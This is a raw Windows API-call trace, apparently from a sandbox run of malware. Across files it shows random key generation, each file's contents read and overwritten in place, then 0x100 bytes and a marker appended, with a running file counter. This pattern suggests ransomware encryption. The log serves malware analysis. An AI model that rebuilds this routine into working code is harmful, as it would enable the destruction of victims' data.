1 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.240] GetProcessHeap () returned 0x540000 [0086.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.240] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.241] GetProcessHeap () returned 0x540000 [0086.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.242] GetProcessHeap () returned 0x540000 [0086.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.243] GetProcessHeap () returned 0x540000 [0086.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.243] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.243] WriteFile (in: hFile=0x924, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.243] WriteFile (in: hFile=0x924, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.243] GetProcessHeap () returned 0x540000 [0086.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.243] GetProcessHeap () returned 0x540000 [0086.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.243] GetProcessHeap () returned 0x540000 [0086.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.243] CloseHandle (hObject=0x924) returned 1 [0086.244] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 106 [0086.244] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.244] ReadFile (in: hFile=0x928, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.244] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.244] GetProcessHeap () returned 0x540000 [0086.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.244] GetProcessHeap () returned 0x540000 [0086.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.244] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.244] GetProcessHeap () returned 0x540000 [0086.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.244] ReadFile (in: hFile=0x928, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x16b, lpOverlapped=0x0) returned 1 [0086.249] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0xfffffe95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.249] WriteFile (in: hFile=0x928, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x16b, lpOverlapped=0x0) returned 1 [0086.249] GetProcessHeap () returned 0x540000 [0086.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.249] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.250] GetProcessHeap () returned 0x540000 [0086.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.250] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.251] GetProcessHeap () returned 0x540000 [0086.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.251] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.252] GetProcessHeap () returned 0x540000 [0086.252] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.252] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.253] GetProcessHeap () returned 0x540000 [0086.253] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.254] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.254] WriteFile (in: hFile=0x928, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.254] WriteFile (in: hFile=0x928, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.254] GetProcessHeap () returned 0x540000 [0086.254] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.254] CloseHandle (hObject=0x928) returned 1 [0086.254] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 107 [0086.254] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.255] ReadFile (in: hFile=0x7f8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.255] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.255] GetProcessHeap () returned 0x540000 [0086.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.255] GetProcessHeap () returned 0x540000 [0086.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.255] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.255] GetProcessHeap () returned 0x540000 [0086.255] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.255] ReadFile (in: hFile=0x7f8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.257] SetFilePointerEx (in: hFile=0x7f8, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.257] WriteFile (in: hFile=0x7f8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.258] GetProcessHeap () returned 0x540000 [0086.258] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.259] GetProcessHeap () returned 0x540000 [0086.259] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.259] GetProcessHeap 